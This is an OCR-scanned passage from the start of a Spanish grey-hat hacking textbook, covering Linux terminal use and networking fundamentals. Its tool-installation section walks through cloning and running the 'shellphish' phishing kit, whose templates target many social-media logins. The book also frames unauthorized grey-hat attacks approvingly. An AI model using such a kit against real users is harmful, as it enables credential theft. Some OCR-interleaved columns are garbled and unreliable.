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Introduccion

Este libro esta disefiado para ser una guia e
introducirte al area de seguridad informatica,
trabajando no solo desde el punto de vista técnico,
si no también, usando las metodologias adecuadas
para realizar pruebas de penetracion o auditorias
de seguridad en distintos casos. Lo mas importante
de este libro, sera como entendiendo la
metodologia y su uso de manera y avanzaremos

sin limites.

Este libro basado en la certificaciéon G.H.O.S.T

(Grey Hat Offensive Security Technician), tiene

todo lo que necesita una persona para adentrarse
al mundo del hacking por medio de técnicas
utilizadas por un sombrero gris, para cuando
termines el libro dominaras el tema, lo que significa
que aprenderas como atacan los cibercriminales,
para poder proteger a una empresa

adecuadamente de ellos.

12
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¢ Para quién es este libro?

Este libro esta hecho para el que quiera convertirse
en un hacker profesional, te llevara de la mano
para que te conviertas en un experto en el area de

seguridad informatica sin importar si tienes

conocimientos avanzados de informatica, o si

eres principiante.

También, si tienes interés en hacer alguna
certificacion de ciberseguridad como G.H.0.S.T u
otra como el CEH, este libro te dara las bases
necesarias en conocimientos practicos y técnicos
para poder aprobar estas certificaciones, siempre y
cuando realices todas las practicas en el libro y
estudies adecuadamente las técnicas y

fundamentos mencionados aqui.

13
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¢, Quién soy?

Mi nombre es Pablo Gutierrez, soy consultor en
seguridad informatica, hacker profesional en el area
del pentesting, CEO de WhiteSuit Hacking, CSO de
la empresa de seguridad anti-espionaje Privasee,
conferencista, instructor y creador de la
certificacion/curso G.H.0.8.T, actualmente la mas
completa y actualizada certificacion de hacking con
enfoque practico, y del Hacking Day, el mejor curso
de introduccion al hacking, y estoy certificado en CEH

por la empresa EC-Council.

Wosresun
g akisa

Adicionalmente, si deseas tomar o ;
alguna certificacién o curso, - B
actualizarte con noticias y nuevas
cosas en nuestro blog, o requieres ;
algun servicio profesional de
ciberseguridad, puedes
encontrarnos/contactarnos en
whitesuithacking.com,
fb.com/whitesuitshacking, o

fb.com/pablogtz.ciberseguridad.

14
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Estructura del libro

El libro esta estructurado de manera muy similar a
nuestro curso G.H.0.S.T, en base a la metodologia
internacional de prueba de penetracion.

Esta metodologia la llevaremos por pasos, y
aunque para muchos que han visto y creen que el
hacking es como en muchas peliculas
(rapidamente teclear el codigo para entrar por la
puerta trasera del sistema) en la realidad hacerlo

toma tiempo y paciencia.

La metodologia que usamos es muy similar al
“método cientifico”. Esencialmente obtenemos la
informacion, se analiza y luego atacamos, y en
base al alcance del ataque, reportara, dependiendo
de tu objetivo, adicionalmente, se vera un poco de

analisis forense de forma superficial.

15
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El libro consta de 9 partes:

1

Teoria/fundamentos: Fundamentos que
necesitas para el resto del libro
Reconocimiento: Metodologias para

obtener informacion del objetivo

. Analisis de vulnerabilidades: Como

analizar la informacién para encontrar un

punto débil

4. Explotacién: Formas de ataque

5. Post-explotacion Que hacer luego que se

obtiene el acceso

Reportaje: Como se debe reportar Ia
informacion obtenida a un cliente y coOmo
debe ser estructurado un reporte final
Anadlisis forense: Los principios del analisis
forense, pero debe considerarse que esto se
vera superficialmente

Anonimato: Como mantener tu identidad y

presencia oculta en la red.

. Casos: Casos reales de ataques de

cibercriminales y pruebas de penetracion.

16
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En cada una de estas secciones se expondra como
funciona cada uno de los pasos de la metodologia
y las distintas herramientas para obtener los
resultados que se quieren. Se explica como se
utiliza la herramienta, su funcionamiento, y en qué
casos usar y en cuales no, y se menciona un caso

real para que se entienda la importancia de esa

parte de la metodologia.

Adicionalmente, subi una pagina donde estan
todas las herramientas y sistemas que utilizamos
en el libro, ademas de algunos videotutoriales en

https://whitesuithacking.com/material-libro

Recomiendo AMPLIAMENTE descargar el
material ahi ANTES de empezar con las

practicas, ya que el Kali normal no tiene

muchas de las herramientas mencionadas en

este libro.

17
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Como obtener ayuda Linux

; Linux es un sistema operativo de cédigo libre
Tenemos una comunidad en Telegram en la que i _
basado en Unix creado por Linus Torvalds,

puedes entrar y preguntar cualquier duda o =
_ _ originalmente fue disefiado para uso en
problema de este libro, la liga para entrar es

computadoras personales, pero al ser codigo
https://t.me/wshgrupo, debes tener Telegram

. : . abierto, se utiliza hoy en dia en muchos tipos de
Instalado para que la liga funcione. _
dispositivos, desde servidores, hasta en celulares,

como ejemplo tenemos el desarrollo del sistema

Fundamentos Android.
Antes que nada, veremos algunos de los Plpuxse. Rusdepncotrar de veras [afehis enls
fundamentos que tienes que tener para poder que son llamadas distribuciones, las cuales,
entender sobre como utilizar las herramientas, el tienen diferentes disefios y funcionalidad ademas
sistema operativo que utilizamos, y para que de soportar diferentes librerias y utilidades segun
entiendas como funciona una herramienta en sea la distribucién, estas pueden ser enfocadas
particular o un ataque, quizas ya dominas estos desde seguridad informatica, como lo es Kali,
temas en dado caso, puedes avanzar a los hasta uso personal como lo es Ubuntu, existen
siguientes capitulos, sin embargo, si nunca has 20iing:-de distrbusiones-anfocaas-a diterentas
tenido experiencia o conocimiento en estos temas fosas: dende informelicn forense, hasta.andlisl 4o
que son Linux, Redes, Modelo OSI, te data o procesamiento con supercomputadoras.
recomiendo no saltarte estos capitulos ya que Hablemos de usuarios dentro del sistema
seran la base de tu preparacion. operativo. En Linux, asi como en otros sistemas
18 19
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operativos, existen usuarios con diferentes
permisos, aqui llamamos al usuario que tiene
permiso total sobre el sistema, usuario Root, o0 en
algunos sistemas se le dice el superusuario,
normalmente en Linux evitariamos utilizar el
usuario root, ya que de explotar una
vulnerabilidad, de lo cual hablaremos luego, el
atacante tendria control completo del sistema, y por
esta razén usualmente utilizamos el comando
sudo, el cual da permiso a un usuario con menos
privilegios de utilizar una aplicacién que requiere de
privilegios de superusuario, la forma en la que se
usa es la siguiente(ejemplo): usuario# sudo nmap
192.168.1.1, hay que notar que la palabra sudo se
utiliza al inicio antes de mandar llamar a la
aplicacion, otra cosa que vale la pena mencionar
es que el comando sudo se puede utilizar para
cambiar de usuario, por ejemplo, el comando sudo
-8 cambia de usuario de un usuario normal a uno
con privilegios de root, sin embargo en este curso
pocas veces utilizaremos el comando sudo, ya que

en el contexto de seguridad necesitamos utilizar

20
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siempre el usuario root para la mayoria de nuestras

herramientas.

La mayor parte de este curso sera llevado a cabo
en un sistema Linux llamado Kali Linux modificado
por nosotros para que tenga todas, o minimo, la
mayoria, de las herramientas que se utilizaran en
este libro, este sistema esta basado en Debian,
una distribucion de Linux bastante famosa y

utilizada en una amplia variedad de aplicaciones.

Terminal de Linux

En Linux, nos vamos a mover por el sistema y
utilizar las herramientas en su mayor parte a través
de comandos en la terminal, o la consola de
comandos, también conocida como shell, seguro
la has visto en alguna pelicula de hackers o serie
como “Matrix”, o “Mr. Robot”, si no es que la has
utilizado en tu propio sistema operativo, ya que
cada sistema operativo tiene su propia version,

aunque ligeramente diferente en cuanto a

21
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comandos, OSX, Windows y Linux tienen todas sy
propia consola de comandos.

La consola de comandos, esencialmente, es una
forma de controlar a un sistema sin necesidad de
una interfaz grafica (GUI), ya que hay muchas
ocasiones en las que una interfaz grafica es
pérdida de tiempo/procesador, innecesaria,
inaccesible (como a través de una conexion SSH) o
simplemente inexistente, de forma que, si desean
desarrollarse en el drea de seguridad informatica, o
cualquier area de sistemas en general, es

fundamental dominar Ia consola de comandos.

Lo primero que debes entender sobre la terminal
(por cierto, terminal Yy consola de comandos son
sinénimos, de ahora en adelante en este libro me
referiré a esto como terminal), es que esta solo
admite texto para manejar entradas y salidas de
datos, no existen botones, ni iconos, ni imagenes
COmo probablemente estés acostumbrado en Ia

mayoria de los sistemas Operativos.

22

‘VWHITKE SUIT

La terminal es la forma mas directa de hablarle a tu
sistema, entonces debes aprender su sintaxis. Hay
varios tipos de entradas que se pueden utilizar, uno
de estos se llaman parametros, que son objetos de
informacién que le diran al programa llamado “que
hara” y/o a “quien” le hara eso, por ejemplo, si
llamamos el programa “nmap”, el comando seria
este:
nmap -sV whitesuithacking.com, dentro de este
comando, existen varias partes; la primera, es que
mandamos a llamar a la herramienta por su
nombre y la segunda, es el parametro que le dice
que es lo que va a hacer, en este caso es “-sV”,
nota que las letras van justo después de un guion,
eso le dice al sistema que es un parametro en el
que le dira a la herramienta que es lo que va a
hacer, y al final, una pagina web, aqui le esta

dando el “objetivo” a la herramienta.

23




Asi como mandar llamar herramientas vy utilizarlas,
la terminal también puede realizar distintas
acciones en el sistema y en sus archivos, tales
como borrar, mover, abrir o modificar archivos,
para esto, basta con seguir la misma estructura en
algunos comandos, tales como borrar un archivo,
basta con poner el comando y el nombre del
archivo, sin embargo, en otros, tales como mover

un archivo, se requiere darle también el parametro

de a dénde vas a mover dicho archivo.

También vale la pena mencionar que, dentro de la
terminal, se te mostrara tu usuario, y tu ubicacion, y
solo podras modificar/utilizar archivos que estén en
tu ubicacion, o mandandolos llamar a su ubicacién

exacta en tu sistema, algo asi:

24
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Por partes, hablaré un poco de como esta la
estructura de la terminal a como esta demostrado
en la imagen anterior:

1. En esta linea, se puede observar un
comando llamado “cd”, que significa
“change directory” (cambiar directorio), y
posteriormente se le da una ruta, de esta
forma, puedes moverte a través de los
directorios en el sistema.

2. En esta ocasion, se le da el comando “Is”,
que significa listar los archivos en ese
directorio.

3. Este es un ejemplo de un archivo que esta
en este directorio, podras interactuar
directamente con este archivo debido a que
estas en esta ubicacion.

4. Este texto azul dice en qué ubicacion te
encuentras en el momento

5. Este texto rojo te dice en qué usuario estas.

Asi como estos comandos que mencione, existen

muchos oftros, a continuacion, adjuntare un

25
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g P {71 Puli requests 0 1 Projects 0 Wik 4 Insigiis
OH ¢ Code aEH™

que puedes Utlllzar. i | for 18 social media: Instagram. Facebook, Snapchat. Github, Twitter, Yaheo, Pratonmail, Spotify, Netfliz, Linkedin,
ng:‘:ﬂg@;ugrigin Steam, Microsoft, InstaFolfowers, Gitlab, Pinterest
Wordpress. B
Sl st s ahishing  phivier  facehaok

Instalando herramientas S

Create new file | Upload files  Find file | ot ¢

New pull request |

Fuancly master > ie]

Para instalar herramientas en Linux, debemos

descargar el archivo de instalacién, que puede ser fimj o 7 -
con el comando wget <ubicacion de descarga> L '
/lugardondeguardar, o, si la herramienta esta en e o
GitHub, utilizar el comando git clone <liga de
GitHub> /lugardondeguardar, una buena practica L En esta pagina, presiona el boton verde, y copia la liga
es siempre guardar las herramientas en la carpeta | que aparece ahi.
opt. Create new file  Upload files = Find file |
Por ejemplo, vamos a imaginar que quieres ' . B :
descargar la herramienta shellphish, primero, Clone with HTTPS @ e

Ly B Use Git or checkout with SVN using the web URL.
debes irte a la ubicacién donde esta dicha .
herramienta, en este caso es un GitHub. | https://github.com/thelinuxchoice/shellpl ! & I
Te vas a la pagina
https:/github.com/thelinuxchoice/shellphish/ y te Open in Desktop Download ZIP

encontraras algo similar a esto.
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Ahora, en la terminal de Linux, escribe el comando
git clone

Li/# git

_h_ttps:Ilqithub.comlthelinuxchoicelshellphish.qit
lopt/shellphish

Y listo, una vez que se haya copiado en la ruta que
indicaste.

Cloning into ‘/opt/shellphish', ..
remote: Counting objects: 425, done.
remote: Compressing objects: 100% (39/39), done.

remote: Total 425 (delta 19), reused 0 (del
Le: | , ta 0), pack-reused 3
Receiving objects: 100% (425/425), 12.35 MiB ] 2.85 M1iB/s sgne

Resolving deltas: 100% (145/145), done,

Te mueves a la ruta, le das permisos si no los tiene

(chmod +X) y ejecutas el archivo principal.

28
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:/# cd /opt/shellphish

: /opt/shellphish# 1s

shellphish.sh sites

: /opt/shellphish# chmod +x shellphish.sh
: /opt/shellphish# ./shellphish.sh

Y listo, ahi ya se deberia de haber ejecutado la

herramienta, nota que puede variar en la

instalacion, vale la pena que busques instrucciones
si tienes duda, por ejemplo, hay unas herramientas
(los paquetes debian) que se deben instalar con el

comando dpkg -i <archivo>.

Interfaz de red

La interfaz en un sistema es por donde entran y
salen paquetes para comunicacion con otros
sistemas.

Cualquier hardware que reciba y mande paquetes,
se puede considerar como una interfaz, un ejemplo
del mas utilizado es la tarjeta de red, es decir, lo

que te permite acceder al internet por medio de

29
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wifi, o con conexion ethernet, otra interfaz podria
ser una antena de bluetooth.

Generalmente las interfaces se muestran en un
sistema operativo con algun cadigo en particular,
por ejemplo, Kali Linux las identifica como eth a las
interfaces que representan una conexion ethernet,
y wlan las interfaces que representan una conexion
por medio de wifi, después de estos nombres
tienen un numero empezando desde el cero, ya
que un sistema puede tener mas de una interfaz
funcionando al mismo tiempo.

Para ver informacion de estas, en Kali podrias
escribir el comando ifconfig y te las mostrara,
mientras que en Windows seria el comando

ipconfig.

30
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Al ingresar el comando en Kali, podrias esperar

una respuesta similar a esta.
~# 1fconfig

oth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.1.67| netmask 255.255.255.0 broadcast 192.
inet6 fe80::20c:29ff:fe80:2c2d prefixlen 64 scopeid Ox
ether 00:0c:29:80:2c:2d txqueuelen 1000 (Ethernet)

RX packets 62354 bytes 62313500 (59.4 MiB)

RX errors 21 dropped 80 overruns @ frame 0

TX packets 12277 bytes 750945 (733.3 KiB)

TX errors @ dropped @ overruns 0 carrier @ collisions
device interrupt 19 base 0x2000

Como puedes ver, el comando es ifconfig, el
nombre de esta interfaz (ethernet), es eth0, y la IP
en esta interfaz, es 192.168.1.67, esa es una ip

local.

Redes, protocolos y puertos

Para poder convertirte en un hacker algo esencial
que debes tener, sin importar que, son
fundamentos de redes.

Francamente considero entender adecuadamente
de redes el conocimiento mas importante y

elemental para un hacker, podras ser mediocre y
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hasta deficiente en Programacion y aun asi poder
manejarte decentemente en un pentest, pero
absolutamente no puedes darte el lujo de no
entender bien los fundamentos de redes, ya que
esencialmente eso es el hacking.

Para ponértelo de otra forma, el “hackear” o
comprometer un sistema, no es nada mas ni nada
menos que utilizar el conocimiento que tienes de
cOmMo se comunican las computadoras para
manipular un sistema, y la comunicacion de las
computadoras son las redes, y no me refiero a Ias
redes sociales, me refiero al modelo 0OSI, los
Puertos, servicios, y distintos protocolos de

c¢omunicacion, pero no te preocupes, en seguida
te daré una introduccion al tema.

Modelo OS]

El modelo de interconexién de sistemas
abiertos (también conocido como Modelo 0SI), es
un modelo de referencia para los protocolos de Ig

red de arquitectura en Ccapas creado en los 80’s por
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la Organizacién Internacional de Normalizaciér‘l
(150), en espanol, esencialmente es una referencia
de como deben comunicarse todas las
computadoras y sistemas, en base a este modelo
entramos a Facebook, hablamos por Skype,
accedemos bases de datos y jugamos videojuegos,
practicamente todas las comunicaciones en los
sistemas que utilizamos siguen el modelo, o, en
otras palabras, las “reglas” del modelo OSI, y
suena complejo, pero realmente no es mas que
una sintaxis de qué informacion deben tener los
paquetes, que es la forma en la que se comunican
las computadoras, para que estas puedan
comunicarse de manera efectiva.

De seguro te preguntaras, ¢ Porque es necesario
esto?

Bueno lo que pasa, es que las computadoras son
efectivamente ciegas y sin tono de voz, y sin
mucha “inteligencia”, entonces al comunicarse con
otro sistema, en cada “palabra” que se manda
(paquete), se tiene que especificar con quién se

esta hablando, comprobar que se esta poniendo
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atencion, y en que lenguaje se establecers la
comunicacion, por eso es que existe un modelo tan
completo solo para que los sistemas se “hablen”
entre ellos.

Debemos de recordar que la comunicacion de las
computadoras realmente no es muy diferente a la
nuestra, ya que, como humanos, disefiamos
sistemas basados en lo que conocemos, lo que
tienes que hacer para entender esto, es
simplemente intentar comparar la comunicacion de
los sistemas con la de un humano con ciertas
Caracteristicas, y después de un tiempo, notaras
que realmente, aunque rustico, es un

lenguaje/estructura de comunicacion muy parecida
a la nuestra.

Ahora, la comunicacion en el modelo OSl esta
dividido en “capas”, que, en cada una de estas
Capas, es donde se incluye cierto tipo de

informacién sobre el paquete, existen siete capas
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en el modelo OSI, como se demuestra en la

imagen en la pagina 39.

Las capas, del 1 al 7, muestran informacién desde
lo mas “basico”, como los bits, que seria algo que
se muestra en la capa 1, la capa fisica, hasta
informacion de mas alto nivel, como la capa 7, que
muestra informacién de la aplicacién que mando
dicha informacion.

En otras palabras, mientras mas cercano al uno,
mas cercana esta la informacién a lenguaje
maquina, y mientras mas cercano al siete, mas
cercana esta la informacion al usuario.

A continuacion, hablaré mas en detalle de cada

una de las capas:

Capa 1

Capa de nivel fisico, esta es la capa que transmite
impulsos eléctricos, sefales de luz o de radio a

través de una red o mecanismo en un nivel fisico.
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Capa de Enlace de datos, aqui se divide en dos

Capa 2

subcapas, la direccion MAC (Media Access
Control), la cual es una clave tnica que diferencia
tu dispositivo globalmente, es también Ia clave de
la interfaz de red de tu computadora que le asigna
su fabricante, todos los dispositivos que se pueden
conectar a una red tienen una direccién MAC, esto
sirve para controlar como una computadora en una
red obtiene acceso a los datos Y permisos de
transmitirlos, y la capa Logical Link Control
(LLC), que controla sincronizacion de capas, flujo

de control y chequeo de errores.
Capa 3

Capa de Red, aqui es donde se les da a las
interfaces acceso a tecnologias de ruteo, caminos
l6gicos, transmitiendo data de nodo a nodo. En
esta capa se asignan direcciones en una red,

utilizando las direcciones IP.
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Capa de Transporte, en esta capa se utilizan

Capa 4

tecnologias para transmitir data entre sistemas, por

ejemplo, a través de conexiones UDP o TCP.

Capa 5
Esta es la capa de sesion, que es la capa que se

encarga de mantener y controlar el enlace
establecido entre los dos sistemas; esencialmente
la funcion de esta capa es que no se corte o se
pierda la comunicacion a mitad de una
“conversacion”. Algo que podriamos encontrar en

esta capa seria una cookie.
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Capa 6

Esta es la capa de presentacion, la funcién de
esta capa es la de controlar que en si el sistema
pueda entender la informacion mandada, es decir,
que los datos sean reconocibles.

Por ejemplo, esta capa es la que permite el cifrado
de datos, y la que controla que la semantica y
sintaxis de los datos puedan ser entendidos por los
distintos sistemas.

Capa7

Y finalmente, la capa siete, es la capa de
aplicacion, aqui es donde se definen los
protocolos que utilizan las aplicaciones para
intercambiar datos, como SMTP, FTP, gestores de
bases de datos, etc. En otras palabras, es donde
se empaqueta la data acorde a la aplicacion o

programa que va a utilizar la data.
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Y listo, esas son todas las capas, no te preocupes

si ahorita no tienen tanto sentido, aunque no seria
mala idea invertir algo de tiempo intentando
entender el modélo, entiendo que probablemente
mucho de esto a este punto no te hace tanto
sentido si no tienes experiencia en redes, y este no
es un libro de redes, asi que no te preocupes,
mientras mas avancemos en este libro mas te

comenzaran a hacer sentido estas Ultimas paginas.

TCP/IP

Ahora, para comunicarse, hay dos protocolos de
comunicacion, llamados TCP y UDP, para
entender esto mejor velo como el “tono” en el que
las maquinas hablan, yo veo la diferencia entre
estos protocolos como en cdémo nos comunicamos
cuando uno da una platica a cientos de personas,
contra compartir un secreto intimo con un amigo, a
pesar de que podriamos estar (potencialmente)
comunicando lo mismo, lo comunicariamos de una
manera muy diferente, ;no crees? Entonces esas

formas de comunicar en cuanto a sistemas se
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utilizan para diferentes tipos de informacion, a

continuacion, explicare cada uno de esto.

TCP

Transmission Control Protocol, también
conocido como TCP, o el protocolo orientado a
conexiones, es el protocolo que seria el
equivalente a comunicar un secreto intimo a un
amigo.
Este protocolo esta disefado para mantener una
conexion estable y segura, y para esto, lleva a
cabo algunas verificaciones por medio de
paquetes, esto es llamado el “Three-way
handshake”, debido a que se realizan tres
verificaciones antes de establecer la conexién y
mandar datos.
Estas verificaciones se realizan a través de
paquetes, y estos se llaman SYN, ACKISYN, ACK:
e SYN: El cliente manda un paquete para
establecer comunicacion con el servidor.
e ACK/SYN: El servidor responde con este

paquete para reconocer que ha recibido la
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solicitud de comunicacion. conexion a los 9.90mb, ¢ Qué sucederia? ;Lo
e ACK: El cliente regresa el paquete para podrias ver incompleto?

finalmente comenzar una comunicacion Claro que no, se corrompera el archivo completo y

estable. tendrias que descargarlo de nuevo completo, el
Esto se realiza para confirmar que la maquina de protocolo TCP es el que se asegura que eso no
hecho estd escuchando los datos, si los humanos suceda seguido, que, si se cae un paquete,
hiciéramos esto seria como si yo antes de decirte simplemente se re-solicita y se reenvia, hasta que
algo, te digo “hola, podemos hablar?”(este seria el se reciban todos los paquetes con completa
primer paquete SYN), espero a que me confirmes integridad.
“si, podemos hablar” (seria el equivalente al
paquete ACK/SYN), y confirmé que te escuche UbP
diciendo “ok, ya te diré” (este seria el paquete Por otro lado, existe el protocolo de comunicacién
ACK), y después de eso yo considero que ya User Datagram Protocol, o, UDP, este protocolo
confirme que me estas poniendo atencion, y de comunicacion es el equivalente a si yo estoy
podemos iniciar nuestra conversacion. dando una platica a cien personas, realmente no

pongo atencion que absolutamente todas me

Este protocolo es muy importante para casi todo lo pongan atencion o me entiendan, si alguien se |
que hacemos en la red, ya que confirma que cada distrae yo aun continuo. i
Paquete que se mando ha sido recibido ¢ En este protocolo no existe algo como “three-way
adecuadamente, piénsalo, si descargas un PDF, handshake”, los paquetes UDP estan enfocados a

por ejemplo, que pesa 10mb y se te corta la velocidad, simplemente se mandan, sin confirmar si

han sido recibidos, y es que este protocolo de
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comunicacion se utiliza para aplicaciones que
requieren mucha velocidad y que la integridad de
cada uno de los paquetes es menos relevante, por
ejemplo, Skype, alguna vez has tenido una
videoconferencia y se te cayo el internet por un
momento y luego regreso? ; Qué sucedié? ;Se
volvieron a mandar los paquetes que no llegaron?
No, lo que probablemente sucede es que se
congelé momentaneamente la llamada, y luego
continud en tiempo real, y lo que se dijoen la
llamada mientras que se cayo la conexion, se
pierde, pero esta bien, porque eso permite una

comunicacion mas rapida y dinamica.

IP

Internet Protocol, o, IP, en este contexto, es una
“etiqueta” numérica que se le asigna a todo sistema
que se comunica bajo el protocolo de internet para
identificarlo en una red.

Esta etiqueta, llamada IP, facilita las funciones de

ruteo que permiten la transmision de datos de un
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sistema a otro, es por asi decir, la direccién que te

permitira mandar una carta a alguien.

Actualmente existen dos versiones de IP, la IPV4,
la cual es la mas comun actualmente, y la nueva
version, la IPV6. La version IPV4 contiene 32 bits, y
la razén por la que existen dos versiones, es que

las direcciones IP, no son ilimitadas.

La version IPV6 fue creada en 1995 como
respuesta a las limitaciones de la version IPV4 en
cuanto al numero maximo de direcciones IP que se
pueden asignar (ya que, como direcciones
normales, no puede haber dos iguales en la misma
red), y a diferencia de esta, la version IPV6 cuenta
con 128 bits, lo cual incrementa por mucho el
rango posible de direcciones IP que se pueden
asignar sobre esta version.

Sin embargo, aun en el 2018 se siguen usando

predominantemente las direcciones IPV4.
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Existen dos tipos de IPs, las que estan en una
Local Address Network (LAN), lo cual significa
que estan dentro de una red local, y, por lo tanto,
con esa IP solo se pueden comunicar con equipos
en la misma red local. Esta seria el tipo de IP que
tiene tu computadora o celular al conectarse al
internet de tu casa.

Y las que direcciones Wide Area Network (WAN),
que son direcciones IP globales, es decir se
pueden comunicar con cualquier direccion IP global
de internet, pero no pueden acceder directamente
a una direccion IP local sin estar en esta. Esta es la
IP que tiene tu modem, y que utiliza para
conectarse a los servidores de Facebook, Netflix,

Google, etc.

Para explicarme mejor de como funciona la
direcciones IP, te daré un ejemplo, digamos que
ahorita mismo estas en tu casa conectado a tu
modem, y tienes dos dispositivos conectados, tu
celular, y tu laptop, dentro de tu red local, en otras

palabras, tu LAN, tu celular tendria una IP,
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digamos 192.168.1.10, y tu laptop otra IP, digamos
192.168.1.11, y tu modem otra, 192.168.1.254,
digamos que la IP de Facebook es 32.111.123.32,
ta al momento de acceder a Facebook, no estas
accediendo por medio de tu IP, lo que esta
sucediendo es que tu router tiene ademas una IP
global (WAN) que tu ISP te asigno, y por medio de
esa IP le pide a Facebook tu informacion, recibe la
informacién en tu modem, y te la comunica a tu

laptop.

Este es un tema importante, asi que te explicare
con una analogia que se puede y que no se puede
hacer en cuanto a comunicacion entre direcciones
IP.

Consideremos esto: dos estados en México,
Nuevo Leén, y Jalisco, y cada una tiene dos
ciudades, Nuevo Leon tiene Monterrey y San
Pedro, y Jalisco en Guadalajara y Zapopan.
Imaginemos que tu vives en Guadalajara y quieres
mandarle una carta a tu amigo en Zapopan, en

este caso, simplemente se la mandas sin
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problema, debido a que estan en el mismo estado,

este seria el caso de tu computadora
comunicandose con tu celular estando en la misma

red local, sin embargo, digamos que ahora t(

quieres mandar una carta a un amigo en
Monterrey, en este caso, si simplemente mandas Ia
carta a Monterrey, no va a llegar, lo que tendrias
que hacer, es mandar la carta a través de Jalisco,
para que Jalisco se la mande a Nuevo Leén, y
Nuevo Ledn se la entregue a Monterrey,
esencialmente asi funcionan las redes, en este
caso las ciudades estan en la misma red local
dentro de una LAN, y los estados representan
direcciones IP WAN.

Puertos

Los puertos son la entrada y salida de paquetes, es
en estos que se corren lo que se llaman servicios,
que son las aplicaciones que estan haciendo uso
del puerto para comunicar algo a ofro sistema, por
ejemplo, si estas usando el servicio SSH, este esta

corriendo en el puerto 22, por donde esta
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mandando y recibiendo paquetes para

comunicarse con otro sistema.

Los puertos son extremadamente relevantes en el
area del hacking, ya que pueden ser utilizados para
obtener mucha informacién de un sistema, y
practicamente todos los ataques informaticos
utilizan un puerto para realizar el ataque, o para
comunicar informacion al haberse comprometido
un sistema.

Puedes imaginarlo como, literalmente, el puerto
(donde entran y salen barcos) de una ciudad,

siendo la ciudad la IP, y los barcos los paquetes

con data.

Firewall

Ahora, de seguro has escuchado hablar del
firewall, o “cortafuegos”, esto es un sistema de
seguridad que esencialmente actua como una

frontera.
Si, un firewall no es mas que una frontera, en la

que se tienen reglas, esta “frontera” monitorea
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todos los paquetes, y solo deja entrar los que
tengan ciertas caracteristicas, por ejemplo, lo mas
comun en un firewall empresarial es que no admite
ningun paquete que quiera entrar a la red desde

afuera, pero si la conexién se inicia desde adentro,
si se admite.

Un firewall en si puede ser configurado en una
infinidad de formas, puede poner reglas como “no
permitir la entrada de paquetes que contengan x
informacion o que provengan de x direccién”, por lo
que es una herramienta muy poderosa de
seguridad, si se utiliza correctamente, y esa es I
palabra clave, un firewall generalmente hablando
es imposible “hackear”, lo que sucede,
comunmente es que los programadores que
configuraron el firewall no pusieron la seguridad
suficiente o no lo configuro bien, y por lo tanto se
convierte en un punto débil dentro de Ia

infraestructura de seguridad de una organizacioén.
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Los firewalls pueden ser instalados en routers,
switches, servidores y computadoras, protegiendo
de forma perimetral diferentes objetos en una red

organizacional.

Cookies

Una “HTTP cookie”, también llamada simplemente
“Cookie”, es una pequefa pieza de data que se
manda de una pagina web y se almacena en una
computadora por el navegador del usuario, esto se
puede observar cuando se mandan paquetes
HTTP.

Las cookies representan “sesiones” o “estados” de
usuarios, y fueron disefiadas para que un
navegador pudiera recordar y rastrear la actividad
del usuario como sus clics, sesiones en paginas
con autenticacion, y que paginas se han visitado
antes, de forma que el navegador puede asistir
mejor al usuario para acceder a su informacion
mas rapidamente.

Alguna vez te has preguntado cémo es que aunque

apagues tu computadora o cierres tu navegador,
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¢ sigues autenticado en Facebook, Twitter,
YouTube, Google, etc.? bueno la razén es porque
las cookies que tiene tu navegador, le dicen a estas
paginas que sigues conectado, y que no te cierre
sesion, también sirve a paginas como Amazon,
Google y Facebook para rastrear a través de |a
internet y venderte cosas que buscaste, y
generalmente es un buen sistema, la cuestion es
que hay un tipo de cookie, llamada “cookie de
autenticacién” que guarda si estd autenticado o
no en una pagina, y si un atacante logra robarla
exitosamente, podria potencialmente secuestrar tu

usuario sin tener que utilizar tu contrasefia.
One fine Monday morning

(gzoiin) (o)
5iNg] @ =6

The following Wednesday afternoon

bing! Here's that
EOU%E fmng Monday. Thanks, dude!

‘V WHI

Seguridad informatica

Ahora que hemos visto algo de los fundamentos de
redes, antes de empezar a hackear, tienes que
saber un poco de los fundamentos de seguridad
informatica, ya que, aunque muchas personas
saben que es *hackear”, muy pocas realmente
entienden lo fundamental e importante dentro del
area de seguridad informatica.

Antes que nada, quiero dejar algo muy claro, el
ciberespacio es una zona de guerra, y las
técnicas que vemos en este libro son tacticas de
guerra, y puedes causar dafios reales, o proteger
de dafos reales, en mi opinién debemos ver al
hacker como lo que es, un potencial soldado
moderno (literalmente paises como China tienen

ejércitos de hackers).
Ahora, contestare una de las preguntas mas

basicas, estas leyendo este libro para convertirte

en un hacker, pero ; Que es un hacker?
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La definicion de hacker puede variar dependiendo
del contexto, ya que hoy en dia utilizan esa palabra
para casi todo, desde “hacker” significando
programador, hasta “hacker de la vida”, con “tips”
para hacer ciertas cosas mas faciles, sin embargo,
dentro de este contexto, definir a un hacker como
un experto en ciberseguridad, capaz de resolver
problemas de tecnologia y seguridad en
diferentes contextos, ahora, algunas personas
(Hollywood) ven usualmente a los hackers como
cibercriminales, es decir que su profesion implica
robar datos, y, este simplemente no es el caso, un
hacker es alguien con el conocimiento que le
permitira tanto robar, como proteger la seguridad
de la informacién de alguna organizacion o
persona, es tanto como un ingeniero quimico que
es capaz tanto de crear drogas sintéticas dafinas,
como medicina para alguna enfermedad, el
conocimiento no es bueno ni malo, simplemente

depende de la persona que lo utilice.

54

E S|

K by L

—-"Nr""'——_

Filosofias de hacking

Ahora, el tema del uso del conocimiento para
proteger y comprometer informacion ha estado en
debate desde siempre, tanto que las diferentes
“filosofias” de uso de los hackers estan clasificados
con sombreros, que definen el objetivo y tipo de
acciones que un hacker podria realizar.

Generalmente hablamos de tres tipos de sombrero:

Sombrero Blanco:

Empezaremos hablando del hacker bueno, el que
debemos aspirar a ser, y el tipo de hacker que
somos en WhiteSuit Hacking. Este tipo de hacker,
a pesar de que tiene capacidades destructivas
como cualquier otro, se dedica a proteger la
informacién de sus clientes, nunca hace pruebas
de penetracion ni analisis de vulnerabilidades sin
autorizacion y un contrato firmado, también es
conocido como el hacker ético, ya que nunca
realiza actividades de hacking que puedan caer

fuera de la ley o de cierto estandar de ética.
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Este tipo de hacker ha sido debatido ampliamente,

Sombrero Gris:

ya que no sigue los estandares de ética ni legales
que sigue el de sombrero blanco, sin embargo,
tampoco busca realizar actos delictivos por el
hecho de causar dafos o robar dinero, y, sin
embargo, algunos de los hackers mas habiles que
existen, operan bajo este “sombrero”, (incluso este
libro y certificacion esta basado en metodologias
del sombrero gris).

Estos hackers simplemente atacan por que
pueden, para probarse a si mismos, o para mejorar
la seguridad en general probando que hay una falla
en esta, han sido tan predominantes ultimamente
